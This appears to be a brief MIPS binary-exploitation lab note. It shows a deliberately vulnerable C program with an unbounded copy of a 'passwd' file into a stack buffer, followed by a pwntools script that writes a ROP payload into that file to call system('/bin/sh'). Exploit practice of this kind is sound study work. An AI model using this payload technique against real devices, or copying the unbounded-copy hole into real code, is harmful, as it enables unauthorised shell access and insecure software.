MIPS-vuln_system栈溢出

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code,char *cmd)
{
        char buf[255];
        //sleep(1);
        system(cmd);
}

void main()
{
        char buf[256]={0};
        char ch;
        int count = 0;
        unsigned int fileLen = 0;
        struct stat fileData;
        FILE *fp;

        if(0 == stat("passwd",&fileData))
                fileLen = fileData.st_size;
        else
                return 1;

        if((fp = fopen("passwd","rb")) == NULL)
        {
                printf("Cannot open file passwd!\n");
                exit(1);
        }
        ch=fgetc(fp);
        while(count <= fileLen)
        {
                buf[count++] = ch;
                ch = fgetc(fp);
        }
        buf[--count] = '\x00';

        if(!strcmp(buf,"adminpwd"))
        {
                do_system(count,"ls -l");
        }
        else
        {
                printf("you have an invalid password!\n");
        }
        fclose(fp);
}

0x108 + gadget+0x18+"binsh\x00"+0x38 + system_addr+0x4

import struct
from pwn import *
log.info("shellcode for `vuln_system`")
payload = cyclic(264)
payload += struct.pack(">L",0x00401D40)
#|  0x0040F048  |  addiu $a0,$sp,0x48+var_30 |  jr 0x48+var_4($sp)
payload += "b"*0x18
payload += "/bin/sh\x00"
# payload += struct.pack(">L",0x00407CA0)# binsh_addr
payload += "c"*(0x3c-len("/bin/sh\x00"))
payload += struct.pack(">L",0x400390)   # jal     do_system_0
payload += "dddd"

fw = open('passwd','w')
fw.write(payload)
fw.close()
success("ok~")